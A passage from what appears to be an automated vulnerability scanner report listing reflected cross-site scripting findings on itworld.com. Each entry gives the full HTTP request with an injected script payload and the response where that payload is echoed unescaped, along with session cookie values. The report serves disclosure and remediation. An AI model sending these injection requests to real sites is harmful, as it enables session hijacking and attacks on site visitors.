s.prop45="/sites/all5ab7e"-alert(1)-"6022cbe0f94/modules/itw/modules/itw_profiles/itw_profiles.css";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn
...[SNIP]...

1.416. http://www.itworld.com/sites/all/modules/itw/modules/itw_profiles/itw_profiles.css [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/itw_profiles/itw_profiles.css

Issue detail

The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7bf4b"-alert(1)-"a7916d2466d was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/itw/modules/itw_profiles7bf4b"-alert(1)-"a7916d2466d/itw_profiles.css?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:24:52 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460292"
Content-Type: text/html; charset=utf-8
Content-Length: 57565
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:24:56 GMT
X-Varnish: 1038159259
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/itw/modules/itw_profiles7bf4b"-alert(1)-"a7916d2466d/itw_profiles.css";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
...[SNIP]...

1.417. http://www.itworld.com/sites/all/modules/itw/modules/itw_profiles/itw_profiles.css [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/itw_profiles/itw_profiles.css

Issue detail

The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2a6ba"><script>alert(1)</script>6222bdf54d9 was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/itw/modules/itw_profiles/itw_profiles.css2a6ba"><script>alert(1)</script>6222bdf54d9?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:17 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460317"
Content-Type: text/html; charset=utf-8
Content-Length: 57786
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:39 GMT
X-Varnish: 1038160099
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/itw/modules/itw_profiles/itw_profiles.css2a6ba"><script>alert(1)</script>6222bdf54d9?h"/>
...[SNIP]...

1.418. http://www.itworld.com/sites/all/modules/itw/modules/itw_profiles/itw_profiles.css [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/itw_profiles/itw_profiles.css

Issue detail

The value of REST URL parameter 7 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bb99e"-alert(1)-"97aacf669fb was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/itw/modules/itw_profiles/itw_profiles.cssbb99e"-alert(1)-"97aacf669fb?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:47 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460347"
Content-Type: text/html; charset=utf-8
Content-Length: 57564
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:53 GMT
X-Varnish: 1038161099
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/itw/modules/itw_profiles/itw_profiles.cssbb99e"-alert(1)-"97aacf669fb";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eVar13="CMS";

...[SNIP]...

1.419. http://www.itworld.com/sites/all/modules/itw/modules/itw_profiles/itw_profiles.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/itw_profiles/itw_profiles.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8d087"><script>alert(1)</script>8cccd913db9 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules8d087"><script>alert(1)</script>8cccd913db9/itw/modules/itw_profiles/itw_profiles.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:26 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460146"
Content-Type: text/html; charset=utf-8
Content-Length: 57770
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:38 GMT
X-Varnish: 252446268
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules8d087"><script>alert(1)</script>8cccd913db9/itw/modules/itw_profiles/itw_profiles.js?h"/>
...[SNIP]...

1.420. http://www.itworld.com/sites/all/modules/itw/modules/itw_profiles/itw_profiles.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/itw_profiles/itw_profiles.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 14a54"-alert(1)-"c89249b954e was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules14a54"-alert(1)-"c89249b954e/itw/modules/itw_profiles/itw_profiles.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:48 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460168"
Content-Type: text/html; charset=utf-8
Content-Length: 57550
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:52 GMT
X-Varnish: 252446621
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
S";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules14a54"-alert(1)-"c89249b954e/itw/modules/itw_profiles/itw_profiles.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find t
...[SNIP]...

1.421. http://www.itworld.com/sites/all/modules/itw/modules/itw_profiles/itw_profiles.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/itw_profiles/itw_profiles.js

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b4eeb"-alert(1)-"26d71f8d3b1 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/itw/modulesb4eeb"-alert(1)-"26d71f8d3b1/itw_profiles/itw_profiles.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:04 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460304"
Content-Type: text/html; charset=utf-8
Content-Length: 57555
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:09 GMT
X-Varnish: 1038159755
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/itw/modulesb4eeb"-alert(1)-"26d71f8d3b1/itw_profiles/itw_profiles.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you
...[SNIP]...

1.422. http://www.itworld.com/sites/all/modules/itw/modules/itw_profiles/itw_profiles.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/itw_profiles/itw_profiles.js

Issue detail

The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload eb5b7"-alert(1)-"0e9e59ff9e3 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/itw/modules/itw_profileseb5b7"-alert(1)-"0e9e59ff9e3/itw_profiles.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:44 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460344"
Content-Type: text/html; charset=utf-8
Content-Length: 57555
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:45 GMT
X-Varnish: 1038160970
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/itw/modules/itw_profileseb5b7"-alert(1)-"0e9e59ff9e3/itw_profiles.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";

...[SNIP]...

1.423. http://www.itworld.com/sites/all/modules/itw/modules/itw_profiles/itw_profiles.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/itw_profiles/itw_profiles.js

Issue detail

The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8d574"><script>alert(1)</script>346cf1c37 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/itw/modules/itw_profiles8d574"><script>alert(1)</script>346cf1c37/itw_profiles.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:17 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460317"
Content-Type: text/html; charset=utf-8
Content-Length: 57756
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:27 GMT
X-Varnish: 1038160142
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/itw/modules/itw_profiles8d574"><script>alert(1)</script>346cf1c37/itw_profiles.js?h"/>
...[SNIP]...

1.424. http://www.itworld.com/sites/all/modules/itw/modules/itw_profiles/itw_profiles.js [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/itw_profiles/itw_profiles.js

Issue detail

The value of REST URL parameter 7 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fc84c"-alert(1)-"c93578dad3c was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/itw/modules/itw_profiles/itw_profiles.jsfc84c"-alert(1)-"c93578dad3c?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:23 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460383"
Content-Type: text/html; charset=utf-8
Content-Length: 57556
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:30 GMT
X-Varnish: 1038162113
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/itw/modules/itw_profiles/itw_profiles.jsfc84c"-alert(1)-"c93578dad3c";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eVar13="CMS";

...[SNIP]...

1.425. http://www.itworld.com/sites/all/modules/itw/modules/itw_profiles/itw_profiles.js [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/itw_profiles/itw_profiles.js

Issue detail

The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8be13"><script>alert(1)</script>a5e6b0cb934 was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/itw/modules/itw_profiles/itw_profiles.js8be13"><script>alert(1)</script>a5e6b0cb934?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:15 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460375"
Content-Type: text/html; charset=utf-8
Content-Length: 57775
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:15 GMT
X-Varnish: 1038161883
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/itw/modules/itw_profiles/itw_profiles.js8be13"><script>alert(1)</script>a5e6b0cb934?h"/>
...[SNIP]...

1.426. http://www.itworld.com/sites/all/modules/itw/modules/itw_sharebar/js/sharebar.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/itw_sharebar/js/sharebar.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fdb54"><script>alert(1)</script>c8ad8201f47 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sitesfdb54"><script>alert(1)</script>c8ad8201f47/all/modules/itw/modules/itw_sharebar/js/sharebar.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:28:13 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460493"
Content-Type: text/html; charset=utf-8
Content-Length: 57763
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:28:13 GMT
X-Varnish: 1038165562
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sitesfdb54"><script>alert(1)</script>c8ad8201f47/all/modules/itw/modules/itw_sharebar/js/sharebar.js?h"/>
...[SNIP]...

1.427. http://www.itworld.com/sites/all/modules/itw/modules/itw_sharebar/js/sharebar.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/itw_sharebar/js/sharebar.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b4664"-alert(1)-"888a5be87de was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sitesb4664"-alert(1)-"888a5be87de/all/modules/itw/modules/itw_sharebar/js/sharebar.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
